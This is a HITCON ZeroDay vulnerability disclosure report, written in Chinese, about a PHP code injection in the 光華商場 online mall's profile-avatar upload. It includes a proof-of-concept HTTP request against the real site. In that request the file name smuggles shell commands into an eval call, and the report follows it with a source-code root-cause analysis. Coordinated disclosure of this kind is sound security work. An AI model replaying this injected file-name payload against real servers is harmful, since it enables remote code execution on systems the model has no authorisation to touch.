Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00664
- Vendor: 光華商場
- Title: 光華商場網路商城 PHP Code Injection
- Introduction: PHP Code Injection
處理狀態
目前狀態
公開
Last Update : 2020/09/24
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2020/07/25 00:39:25 : 新提交 (由 Cyku 更新此狀態)
- 2020/07/26 22:46:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/27 21:46:54 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/27 21:46:54 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/28 17:18:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/28 17:18:37 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/28 17:18:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/24 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00664
- 通報者:kanade86514 (Cyku)
- 風險:嚴重
- 類型:程式碼執行 (Code Execution)
參考資料
攻擊者可藉由此漏洞執行惡意程式碼,進行如操縱網站作業系統等惡意行為。
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.gh3c.com.tw/index.php?app=member&act=profile&ajax=1
敘述
PoC
需要先登入一般帳號,並將 ECM_ID 替換成登入後的合法 Cookie。
POST data:
POST /index.php?app=member&act=profile&ajax=1 HTTP/1.1
Host: www.gh3c.com.tw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------23281168279961
Content-Length: 519
Cookie: ECM_ID=5b799e36595e8bb2e96187831b8723ff22d30cad
Connection: close
-----------------------------23281168279961
Content-Disposition: form-data; name="portrait"; filename="200.jpg'-die(`id;hostname;ifconfig`)-'"
Content-Type: image/jpeg
aaa
-----------------------------23281168279961
Content-Disposition: form-data; name="real_name"
-----------------------------23281168279961
Content-Disposition: form-data; name="gender"
0
-----------------------------23281168279961
Content-Disposition: form-data; name="birthday"
-----------------------------23281168279961--
截圖佐證
成因分析
在處理上傳頭像時,$uploader->addFile 會先檢查副檔名是否合法(白名單:gif|jpg|jpeg|png)。
File: app/member.app.php
619: /**
620: * 上传头像
621: *
622: * @param int $user_id
623: * @return mix false表示上传失败,空串表示没有上传,string表示上传文件地址
624: */
625: function _upload_portrait($user_id) {
626: $file = $_FILES['portrait'];
627: if ($file['error'] != UPLOAD_ERR_OK) {
628: return '';
629: }
630: import('uploader.lib');
631: $uploader = new Uploader();
632: $uploader->allowed_type(IMAGE_FILE_TYPE);
633: $uploader->addFile($file);
634: if ($uploader->file_info() === false) {
635: $this->show_warning($uploader->get_error(), 'go_back', 'index.php?app=member&act=profile');
636: return false;
637: }
638: $uploader->root_dir(ROOT_PATH);
639: return $uploader->save('data/files/mall/portrait/' . ceil($user_id / 500), $user_id);
640: }
我們可以在 includes/libraries/uploader.lib.php 中的第 163 ~ 165 行看到,如果副檔名檢查失敗,$uploader 就會將失敗的錯誤訊息與檔名記錄下來,記錄方式的函式 _error 則在 eccore/ecmall.php 中實作,隨後返回到前述 member.app.php 中的第 635 行交給 $this->show_warning 輸出錯誤訊息。
File: includes/libraries/uploader.lib.php
24: function addFile($file)
25: {
26: if (!is_uploaded_file($file['tmp_name']))
27: {
28: return false;
29: }
30: $this->_file = $this->_get_uploaded_info($file);
31: }
File: includes/libraries/uploader.lib.php
158: function _get_uploaded_info($file)
159: {
160: $pathinfo = pathinfo($file['name']);
161: $file['extension'] = $pathinfo['extension'];
162: $file['filename'] = $pathinfo['basename'];
163: if (!$this->_is_allowd_type($file['extension']) || !$this->check_file_type($file['tmp_name'],$file['name'],$this->_file_type_str))
164: {
165: $this->_error('not_allowed_type', $file['name'].':'.$file['extension']);
166:
167: return false;
168: }
169: if (!$this->_is_allowd_size($file['size']))
170: {
171: $this->_error(Lang::get('not_allowed_size').$this->formatBytes($this->_allowed_file_size), $file['name'].':'.$this->formatBytes($file['size']));
172:
173: return false;
174: }
175:
176: return $file;
177: }
File: eccore/ecmall.php
116: /**
117: * 触发错误
118: *
119: * @author Garbin
120: * @param string $errmsg
121: * @return void
122: */
123: function _error($msg, $obj = '') {
124: if (is_array($msg)) {
125: $this->_errors = array_merge($this->_errors, $msg);
126: $this->_errnum += count($msg);
127: } else {
128: $this->_errors[] = compact('msg', 'obj');
129: $this->_errnum++;
130: }
131: }
而 show_warning 的實作如下,會先呼叫 _trigger_message 做一些訊息的處理與轉換。
File: eccore/controller/message.base.php
62: /**
63: * send a system warning message
64: *
65: * @param string $msg
66: */
67: function show_warning ($msg)
68: {
69: $a = _trigger_message(func_get_args());
70:
71: _message(serialize($a), E_USER_WARNING);
72: }
前面錯誤訊息記錄下來的檔名與副檔名存放在變數 $err['obj'],而該變數在 message.base.php 的第 30 行中被傳入 Lang::get 函式裡。
File: eccore/controller/message.base.php
14: function _trigger_message ($arr)
15: {
16: if (count($arr) < 2) {
17: $arr[] = Lang::get('go_back');
18: }
19: if (count($arr) < 3) {
20: $arr[] = 'javascript:history.back()';
21: }
22: $m = '';
23: if (!empty($arr[0]))
24: {
25: if (is_array($arr[0]))
26: {
27: $m = Lang::get('has_error');
28: foreach ($arr[0] as $key => $err)
29: {
30: $m .= Lang::get($err['msg']) . ($err['obj'] ? '[' . Lang::get($err['obj']) . ']' : '') . '<br />';
31: }
32: }
33: else
34: {
35: $m = Lang::get($arr[0]);
36: }
37: }
最終在 Lang::get 的實作裡面呼叫了 eval 作解析,而 $key 就是最早錯誤訊息產生的由我們 client 端控制的檔名與副檔名,造成 PHP Code Injection,導致可遠端執行任意系統指令控制伺服器主機。
File: eccore/ecmall.php
162: class Lang {
163:
164: /**
165: * 获取指定键的语言项
166: *
167: * @author Garbin
168: * @param none
169: * @return mixed
170: */
171: static function &get($key = '') {
172: if (Lang::_valid_key($key) == false) {
173: return $key;
174: }
175: $vkey = $key ? strtokey("{$key}", '$GLOBALS[\'__ECLANG__\']') : '$GLOBALS[\'__ECLANG__\']';
176: $tmp = eval('if(isset(' . $vkey . '))return ' . $vkey . ';else{ return $key; }');
177:
178: return $tmp;
179: }
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。